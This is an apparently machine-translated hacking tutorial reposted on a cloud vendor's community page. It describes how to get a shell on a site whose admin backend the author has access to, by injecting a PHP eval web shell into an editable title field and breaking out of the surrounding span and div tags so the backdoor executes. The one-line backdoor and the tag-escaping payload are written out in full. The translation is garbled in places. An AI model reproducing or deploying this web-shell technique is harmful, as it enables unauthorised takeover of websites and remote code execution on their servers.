Use shell to generate separate pages in the background

Source: Internet
Author: User

Today, a bird in the group lost a background to help get shell. At first glance it's FCK, and it's all about getting the results... the PHP language is useless. The process is not important. Later, I opened various links at the front end and checked them with the background. I found that the pages that we can only use for recruitment are independent php pages. Write a sentence. As for how to write, let me talk about it.

Check the Code:

<Div id = "con660" class = "left">
<Div class = "con">
<H4> business field <Span class = "hei"> title </span> <br>
<Br>
<Span class = "hei"> Title 2 </span> <br>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div> <br>

</Div>
<Div class = "clear"> </div>
</Div>

 

This is the part that can be controlled in the background. We can see that the title and content are put in a DIV.

Take the title for example.

<Span class = "hei"> title </span>

Writing a sentence directly will become

<Span class = "hei"> <? Php @ eval ($ _ POST ['pass']);?> </Span>

In this case, the execution fails. All we need to do is add a little more code. To put it bluntly, we just need to find a way to break away from the control of <span> and <div>.

For example, we write the title

</Span> </div> <? Php @ eval ($ _ POST ['pass']);?> <Span>

In this way, the output result becomes

<Div> <span class = "hei"> </span> </div> <? Php @ eval ($ _ POST ['pass']);?> <Span> </span>

In this way, we can successfully execute our code, but today the background title is limited to a few words, and the Content Editor is also broken. You can only write

</Span> </div> <? Php @ eval ($ _ POST

So I told him that he had doubts. Well, this is actually just a simple piece of code. To put it bluntly, he just commented out the DIV SPAN and inserted a backdoor into the shell.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.